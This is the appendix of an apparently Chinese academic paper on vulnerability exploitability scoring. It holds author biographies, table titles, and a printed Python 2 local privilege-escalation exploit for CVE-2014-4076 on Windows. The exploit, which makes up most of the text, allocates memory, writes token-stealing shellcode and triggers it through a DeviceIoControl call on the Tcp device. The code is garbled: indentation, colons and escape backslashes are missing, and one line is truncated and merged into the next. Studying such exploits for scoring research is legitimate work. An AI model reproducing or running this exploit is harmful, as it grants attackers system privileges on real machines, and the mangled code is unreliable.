LeiKenan, born in 1992. Master candidate in Xidian University. Her main research interests include network and information security.

ZhangYuqing, born in 1966. PhD. Professor in the University of Chinese Academy of Sciences. His main research interests include network and information system security.

WuChensi, born in 1990. Master candidate in the University of Chinese Academy of Sciences. His main research interests include network and information security (wucs@nipc.org.cn).

MaHua, born in 1963. Professor in Xidian University. Her main research interests include information security (ma_hua@126.com).
附錄A

Table A1 Distribution of CVSS Exploitability Scores

Table A2 Distribution of EOVSS Exploitability Scores

Continued (Table A2)
附錄B
部分攻擊代碼
#!/usr/bin/python2
from optparse import OptionParser
from subprocess import Popen
from os.path import exists
from struct import pack
from threading import Thread
from time import sleep
from ctypes import*
from sys import exit
CreateFileA,NtAllocateVirtualMemory,Write ProcessMemory=windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory
DeviceIoControlFile,CloseHandle=windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL=1,2,1,3,0
def spawn_process(path):
process=Popen([path],shell=True)
pid=process.pid
return
def main():
print "CVE-2014-4076 x86 exploit,Level "
global pid,process
parser=OptionParser()
parser.add_option("--path",dest="path",help="path of process to start and elevate")
parser.add_option("--pid",dest="pid",help="pid of running process to elevate")
o,a=parser.parse_args()
if (o.path==None and o.pid==None)
print "[!] no path or pid set"
exit(1)
else
if (o.path!=None)
if (exists(o.path)!=True)
print "[!] path does not exist"
exit(1)
else
Thread(target=spawn_process,args=(o.path),name='attacker-cmd').start()
if (o.pid!=None)
try
pid=int(o.pid)
except:
print "[!] could not convert PID to an interger."
exit(1)
while True:
if ("pid" not in globals()):
sleep(1)
else
print "[+] caught attacker cmd at %s,elevating now" % (pid)
break
buf="x00x04x00x00x00x00x00x00x00x02x00x00x00x02x00x00x22x00x00x00x04x00x00x00x00x00x01x00x00x00x00x00"
sc="x60x64xA1x24x01x00x00x8Bx40x38x50xBBx04x00x00x00x8Bx80x98x00x00x00x2Dx98x00x00x00x39x98x94x00x00x00x75xEDx8BxB8xD8x00x00x00x83xE7xF8x58xBBx41x41x41x41x8Bx80x98x00x00x00x2Dx98x00x00x00x39x98x94x00x00x00x75xEDx89xB8xD8x00x00x00x61xBAx11x11x11x11xB9x22x22x22x22xB8x3Bx00x00x00x8ExE0x0Fx35x00"
sc=sc.replace("x41x41x41x41",pack(' sc=sc.replace("x11x11x11x11","x39xffxa2xba") sc=sc.replace("x22x22x22x22","x00x00x00x00") handle=CreateFileA("\\.\Tcp",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) if (handle==-1): print "[!] could not open handle into the Tcp device" exit(1) print "[+] allocating memory" ret_one=NtAllocateVirtualMemory(-1,byref(c_int(0x1000)),0x0,byref(c_int(0x4000)),0x1000|0x2000,0x40) if (ret_one!=0): print "[!] could not allocate memory..." exit(1) print "[+] writing relevant memory..." ret_two=WriteProcessMemory(-1,0x28, "x87xffxffx38",4,byref(c_int(0))) ret_three=WriteProcessMemory(-1, 0x38,"x00" * 2,2,byref(c_int(0))) ret_four=WriteProcessMemory(-1, 0x1100,buf,len(buf),byref(c_int(0))) ret_five=WriteProcessMemory(-1, 0x2b,"x00" * 2,2,byref(c_int(0))) ret_six=WriteProcessMemory(-1, 0x2000,sc,len(sc),byref(c_int(0))) print "[+] attack setup done,crane kick!" DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x00120028,0x1100,len(buf),0x0,0x0) CloseHandle(handle) exit(0) if __name__=="__main__": main()